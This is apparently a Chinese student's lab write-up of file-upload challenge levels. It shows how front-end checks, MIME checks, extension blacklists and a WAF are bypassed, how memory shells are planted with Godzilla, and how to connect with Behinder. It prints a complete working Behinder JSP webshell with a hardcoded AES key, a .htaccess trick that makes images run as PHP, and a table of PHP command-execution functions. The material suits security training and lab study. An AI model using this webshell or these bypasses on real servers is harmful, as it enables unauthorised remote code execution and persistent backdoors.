文件上传判断黑白名单
大马、小马
webshell管理工具:
菜刀
蚁剑
冰蝎
哥斯拉
处理内存码:servlet管理,重启中间件服务,github开源工具
内存码:不落地
1、通关文件上传靶场1,2,3,4,10关卡
关卡1
首先尝试上传一个带有<?php phpinfo(); ?>代码的 1.php文件,出现弹窗不允许上传php后缀的文件,多数情况弹窗一般是前端代码做验证然后弹窗

通过浏览器查看前端代码,发现是前端代码验证,既然是前端代码直接从浏览器删除即可

删除调用函数的模块重新测试

删除调用模块

上传webshell文件

验证

关卡2
同样先上传一个1.php进行测试,提示文件类型不正确

查看源代码,发现通过form表单的post方法传输,那么就是后端对文件进行验证了

查看后端代码
<?php include '../config.php'; include '../head.php'; include '../menu.php';
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '文件类型不正确,请重新上传!'; } } else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!'; } } ?>
|
进行抓包查看,这里的文件类型不在后端代码规定的白名单内,故上传失败

这里修改请求体的Content-Type,修改为image/jpeg然后重新上传,发现上传成功

验证

关卡3
上传1.php文件,提示不允许上这类后缀的文件,推测这是个黑名单限制

查看源代码看看有没有破绽
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext);
if(!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
这里其他操作行不通,只能通过上传php3、phtmp后缀的文件进行绕过,但是能将php3、phtmp后缀文件解析成php文件需要网站的配置文件中有代码AddType application/x-httpd-php .phtml .php3才能够解析为php文件

重新上传木马文件

验证,可以看到文件被重新命名了

关卡4
上传1.php文件,不允许上传

查看提示,很多后缀名都不许上传

这里使用 .htaccess (区域解析配置文件)。当 Apache 收到对某个目录的访问请求时,会沿着文件系统路径向上查找该目录及其父级目录中的 .htaccess,找到后将其中的指令临时合并到主配置里,从而改变该目录及其子目录的默认行为。区域解析配置文件要和上传木马文件在同一文件夹内才能生效
这里通过区域配置文件设置apache将png文件解析为php文件
SetHandler application/x-httpd-php
|

验证上传文件

关卡10
直接查看源代码看看后端逻辑
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name); $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
双写绕过

验证

2、将通关关卡后端涉及到的防御函数都自己编写一个文件演示一下函数的作用
header('Content-Type: text/html; charset=utf-8'); function deldot($s){ for($i = strlen($s)-1;$i>0;$i--){ $c = substr($s,$i,1); if($i == strlen($s)-1 and $c != '.'){ return $s; } if($c != '.'){ return substr($s,0,$i+1); } } } $str = ' nihao.php.jpg.exe::$DATA ....'; echo "原字符串: " . $str . "<br>" . "<br>"; $str1 = deldot($str); echo "去除末尾的点号deldot:" . $str1 . "<br>" . "<br>"; $str2 = trim($str1); echo "去首尾空格trim: " . $str2 . "<br>" . "<br>"; echo "提取文件末尾后缀strrchr: " . strrchr($str2, '.') . "<br>" . "<br>"; echo "替换字符串str_ireplace: " . str_ireplace('::$DATA', '', strrchr($str2, '.')) . "<br>";
|

3、尝试绕过安全狗上传一句话木马(脏数据、分块传输)
在 Content-Disposition: 字段添加无效数据占用安全狗的解析时间,为了不影响正常用户访问,WAF在检查http报文时对每个报文检查时间和缓存有限,在不影响正常访问的前提下若是没检查完数据包会直接放行

访问测试

4、使用哥斯拉自己操作一下内存马
首先上传一个1.jsp文件,然后使用哥斯拉进行连接

添加连接后,进入连接然后点击MemoryShell选项卡,填写内存马信息,点击run即可添加一个内存马

返回浏览器查看地址 http://192.168.142.144/test 发现可以进行访问,但是页面没有显示数据

返回哥斯拉添加一个新连接

在ServletManage选项卡可以看见刚刚生成的内存马

截屏功能测试

5、尝试使用一下冰蝎工具
冰蝎jsp马
<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %> <%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } %> <% if (request.getMethod().equals("POST")) { String k = "e45e329feb5d925b"; session.putValue("u", k); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(k.getBytes(), "AES")); new U(this.getClass().getClassLoader()) .g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))) .newInstance().equals(pageContext); } %>
|
添加连接

验证

扩展:自主学习一下php语言中有哪些命令执行和代码执行的函数
命令执行函数
| 函数 |
返回值特点 |
基本用法示例 |
| exec() |
返回最后一行输出,可通过数组获取全部结果 |
exec('ls -l', $output, $status); |
| system() |
直接输出结果,并返回最后一行内容 |
system('ls -l', $status); |
| shell_exec() |
返回完整的输出(字符串形式) |
$result = shell_exec('ls -l'); |
| passthru() |
直接输出原始结果(尤其适用于二进制数据) |
passthru('convert image.jpg image.png', $status); |
| 反引号操作符 ` |
与 shell_exec() 效果相同 |
$result = ls -l; |
代码执行函数
| 函数 |
特点 |
基本用法示例 |
| eval() |
执行字符串作为 PHP 代码。必须以分号结尾。 |
eval('echo "Hello, World!";'); |
| assert() |
原本用于调试断言,但也能执行代码(请注意:在 PHP 8.0+ 中,字符串参数将不再被评估为代码) |
assert('2 > 1'); // 注意PHP版本差异 |
扩展:在哥斯拉通信的时候安装wireshark,尝试抓取流量分析一下与普通的webshell流量之间的区别